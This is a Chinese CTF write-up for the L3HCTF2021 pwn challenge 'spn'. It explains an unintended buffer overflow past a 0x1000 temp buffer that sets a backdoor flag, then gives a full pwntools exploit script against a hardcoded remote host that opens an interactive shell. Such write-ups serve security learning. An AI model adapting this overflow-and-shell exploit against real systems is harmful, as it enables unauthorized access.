L3HCTF2021

L3HCTF

PWN

spn

非预期了，申请空间size没有限制，申请时size大于0x1000，两次拷贝的时候会超出 TEMPBUF2 0x1000的范围,而TEMPBUF2下面就是shell，backdoor只要满足shell不为0即可getshell，而拷贝时会对size大小的范围加密，甚至不需要发送数据，就能修改shell的值。

#!/usr/bin/env python3
# coding=utf-8
from pwn import *

# from z3 import *
arch = "amd64"
filename = "SPN_ENC"

ip = "124.71.194.126"
port =9999
# libc
# libc
local_libc = ELF("/home/qingmu-z/Desktop/tools/pwn-change-libc/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so")
remote_libc = ELF("/home/qingmu-z/Desktop/tools/pwn-change-libc/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so")
# ld
# local_ld=ELF("/lib64/ld-linux-x86-64.so.2")
# remote_ld=ELF("/lib64/ld-linux-x86-64.so.2")

context(os="linux", arch=arch, log_level="debug")
# context.terminal = ['tmux', 'split','-h']
content = 1

offset = 0
# elf
elf = ELF(filename)


def b(addr):
    bk = "b *$rebase" + str(addr)
    gdb.attach(io, bk)
    success("attach")


def add(idx,size):
    io.recvuntil(b"0.exit")
    io.sendline(b'1')
    io.recvuntil(b"Size:")
    io.sendline(str(size).encode())
    io.recvuntil(b"Index:")
    io.sendline(str(idx).encode())

def edit(idx,size,payload):
    io.recvuntil(b"0.exit")
    io.sendline(b'2')
    io.recvuntil(b"Index:")
    io.sendline(str(idx).encode())
    io.recvuntil(b"Size")
    io.sendline(str(size).encode())
    io.recvuntil(b"Content")
    sleep(0.1)
    io.send(payload)
    sleep(0.1)

def free(idx):
    io.recvuntil(b"0.exit")
    io.sendline(b'3')
    io.recvuntil(b"Index:")
    io.sendline(str(idx).encode())

def show(idx):
    io.recvuntil(b"0.exit")
    io.sendline(b'4')
    io.recvuntil(b"Index:")
    io.sendline(str(idx).encode())

def backdoor():
    io.recvuntil(b"0.exit")
    io.sendline(b'5')

def pwn():
    ### ptr_addr=0x204100 shell_addr=0x2040E0
    io.recvuntil(b"gift:")
    shell_addr=int(io.recv(14),16)
    success("shell_addr:"+hex(shell_addr))
    add(0,0x1010)
    add(1,0x80)
    sleep(1)
    edit(0,0x1010,b'a'*(1))
    sleep(1)
    backdoor()
    # b(0x000000AD7)
    return 1


if __name__ == '__main__':
    global io
    flag = 1
    while flag >= 1:
        try:
            if content == 0:
                io = process("./" + filename)
                libc = local_libc
                # ld = local_ld
                # onegadget = [0x4f2c5, 0x4f322, 0x10a38c] #2.23 11.3
                onegadget = [0xe6c7e, 0xe6c81, 0xe6c84]  # 2.31 9.2
            else:
                io = remote(ip, port)
                libc = remote_libc
                # ld = remote_ld
                # onegadget = [0x4f2c5, 0x4f322, 0x10a38c] #2.23 11.3
                onegadget = [0xe6c7e, 0xe6c81, 0xe6c84]  # 2.31 9.2
            if (pwn() == 0):
                flag -= 1
                continue
            else:
                io.interactive()
                flag = 0
        except Exception as e:
            print(e)
            io.close()
            flag -= 1
            continue

-------------本文结束感谢您的阅读-------------

赏

谢谢你请我吃糖果